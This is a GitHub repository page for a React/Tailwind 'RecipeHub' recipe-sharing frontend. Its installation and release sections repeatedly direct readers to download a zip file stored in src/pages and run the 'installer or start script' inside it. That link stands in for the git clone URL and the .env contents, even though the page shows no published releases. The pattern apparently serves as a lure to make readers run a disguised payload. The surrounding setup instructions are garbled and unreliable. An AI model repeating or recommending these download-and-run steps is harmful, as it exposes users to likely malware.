Skip to content

okkmichael/recipehub-frontend

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

17 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Release

RecipeHub Frontend β€” Modern React UI for MERN Recipe Sharing Platform

RecipeHub Preview

Welcome to the RecipeHub Frontend. This is the React-based user interface for RecipeHub, a MERN stack app that helps people discover, share, and save delicious recipes. The frontend communicates with a backend API to fetch data, handle authentication, and manage user content. This README covers setup, development, and contribution details to help you ship features quickly and reliably.


Features

  • User registration, login, and logout
  • Browse, create, edit, and delete recipes
  • Save/unsave recipes to your profile
  • View your own and saved recipes
  • Responsive design with Tailwind CSS
  • Authentication and protected routes
  • API integration with backend
  • Local state management for fast interactions
  • Accessible components and keyboard navigation

Emoji quick glance: πŸ§‘β€πŸ³ browse, 🍲 recipes, πŸ” secure routes, πŸ“± responsive UI, 🧭 intuitive navigation.


Tech stack and design decisions

  • React with Vite for fast development and hot module replacement
  • Tailwind CSS for a scalable, responsive design system
  • React Router for navigation and protected routes
  • Context API / custom hooks for lightweight state management
  • REST API communication with fetch/axios wrappers
  • Client-side validation and helpful error messages
  • Focus on accessibility, keyboard support, and semantic HTML

Why this approach? It keeps the UI simple and fast, reduces complexity, and makes it easy to adapt to new features or backend changes. It also aligns well with a MERN stack, where the frontend is responsible for presentation, input validation, and route protection.


Getting Started

Follow these steps to get the frontend up and running on your machine.

Prerequisites

Installation

Clone the repository, install dependencies, and start the dev server:

git clone https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip
cd recipehub-frontend
npm install

If you prefer yarn:

yarn install

Environment Variables

Create a .env file in the project root with the following:

https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip

Replace with your actual backend URL after deployment. The frontend will use this value to call backend endpoints.

Running the App

Start the development server:

npm run dev

Open your browser to http://localhost:5173 (or the port shown in your terminal). The port might vary if you customize the config, but the default for Vite is 5173.


Release assets and offline installation

For offline or packaged distribution, you can download the release asset from the official repository releases page. The release assets are packaged to run in a browser context or to support quick-start setups. To obtain the asset, visit the releases page and choose the latest build. For convenience, you can download the release asset from the Releases page here: https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip After downloading, extract the archive and run the included start script as described in the asset’s README. The file you download from that page may include a name like https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip; extract it and use the provided start instructions to run locally. For offline installation, download the release asset from https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip and run the installer or start script included in the archive.

Note: The link above is provided again in this section to assist quick access to the release assets.


Project structure

  • /src/pages β€” Main pages (Home, Login, Register, RecipeDetail, Profile, Saved, etc.)
  • /src/components β€” Reusable UI building blocks (Card, RecipeCard, Navbar, Footer, Button, Input, Modal, etc.)
  • /src/hooks β€” Custom hooks for data fetching, auth, and form handling
  • /src/context β€” AuthContext, ThemeContext, and global state providers
  • /src/services β€” API client wrappers for fetch/axios calls
  • /src/utils β€” Helpers, formatters, and validators
  • /src/styles β€” Tailwind configuration and global styles
  • /public β€” Static assets and icons

What you’ll typically touch:

  • Add/modify pages in /src/pages
  • Build reusable blocks in /src/components
  • Update API calls in /src/services
  • Adjust styles in /src/styles and Tailwind config

Authentication and protected routes

  • Users sign up and log in to access their profile and saved recipes.
  • Protected routes prevent access to certain pages if the user is not authenticated.
  • The frontend stores authentication state securely in memory with a lightweight context and uses tokens for API requests.
  • Tokens are sent as Authorization headers with each request to the backend.

Key flows:

  • Sign up collects name, email, and password and registers the user.
  • Sign in returns a token and user profile.
  • Sign out clears local state and redirects to the Home page.

API integration

  • All API calls go through a central client to handle base URL, timeouts, and error handling.
  • Endpoints cover: authentication, recipes CRUD, user profiles, and saved recipes.
  • Error handling shows user-friendly messages and logs issues for debugging.
  • The frontend expects standard REST responses with status codes and payloads that are easy to map into UI state.

Routing and navigation

  • The app uses React Router to navigate between pages.
  • Protected routes require valid authentication to access certain screens (Profile, Saved, My Recipes, etc.).
  • The UI includes a responsive navigation bar with search and quick links.

UI/UX and accessibility

  • Tailwind CSS powers the visual system with a clean typographic scale and consistent spacing.
  • Components are keyboard accessible and include ARIA attributes where needed.
  • Focus states are visible to assist users who navigate with a keyboard.
  • Color contrast meets accessibility guidelines for readability.

Local development workflow

  • Start the dev server with npm run dev to see changes instantly.
  • Use ESLint and Prettier for code style and quality.
  • Run unit tests and UI tests if you add tests to the project.

Commands you might use:

npm run lint
npm run test
npm run build

Testing strategy

  • Unit tests cover individual components and utilities.
  • Integration tests verify interaction with the API client and data flow.
  • End-to-end tests simulate user journeys like registration, login, creating a recipe, and saving items.

Testing relies on standard React testing libraries and a light test setup that mirrors real usage.


Accessibility and internationalization

  • All form controls include labels and error messages.
  • Navigation can be driven by the keyboard, and screen readers receive meaningful ARIA labels.
  • The app is prepared for internationalization if you decide to add language resources.

Development and quality workflow

  • Use semantic commit messages to describe your changes.
  • Run linting and formatting locally before opening a PR.
  • Add unit tests for new components and features.
  • Keep PRs small and focused on a single feature or bug fix.

Project configuration and environment

  • The app expects a VITE_API_URL to point to the backend API.
  • Tailwind configuration is centralized, and themes can be extended via the Tailwind config.
  • The project uses modern JavaScript syntax and React features for clean, maintainable code.

Deployment and hosting

  • For production, build the frontend with npm run build and deploy the static assets to your hosting provider.
  • If you host the backend separately, ensure the API URL is updated in the environment file.
  • Consider using a CDN for static assets and enabling HTTP caching for optimal performance.

Localization and content management

  • Recipe content is stored on the backend, with the frontend rendering it in a readable format.
  • Images and media are referenced by URLs provided by the backend; the frontend handles fallback images gracefully.

Performance optimization

  • Code splitting is used to load routes lazily.
  • Images are lazy-loaded where appropriate to reduce initial load time.
  • Caching and memoization minimize unnecessary renders for lists and cards.

Project maintenance and documentation

  • Documentation lives in this repository’s README and inline code comments.
  • API contracts and backend changes may require frontend updates; keep communication clear with the backend team.
  • Upgrading dependencies is done with care to avoid breaking changes.

Contributing

We welcome contributions. If you’d like to contribute, follow these guidelines:

  • Fork the repository and create a feature branch.
  • Write tests for new features.
  • Keep code changes focused and small.
  • Update documentation if needed.
  • Open a pull request with a clear description of your changes.

License

MIT License


Release notes and ongoing improvements

The project follows semantic versioning. Each release includes a changelog describing new features, fixes, and breaking changes. Check the Releases page for detailed notes and downloadable assets.

For offline or packaged distribution, download the release asset from the Releases page and run the installer or start script included in the archive. The asset name may vary by release, for example https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip After extracting, follow the included README to run locally.

The release URL again for quick access: https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip


FAQ

Q: How do I reset my password? A: Use the Sign In page to request a reset link. The backend handles token generation and validation.

Q: Can I run this locally without a backend? A: The frontend can operate in a mock mode with sample data, but to test real API calls you’ll need a backend URL configured in VITE_API_URL.

Q: Where can I find the latest release downloads? A: The official releases page contains all assets for each version. See the top badge and the Releases section in this document for guidance.


Visual assets and references

If you want to customize visuals, swap in brand images and adjust Tailwind theme tokens in /src/styles while preserving component structure.

About

RecipeHub Frontend is a React + Tailwind UI for a MERN recipe app with auth, CRUD recipes, and saved items πŸ™.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors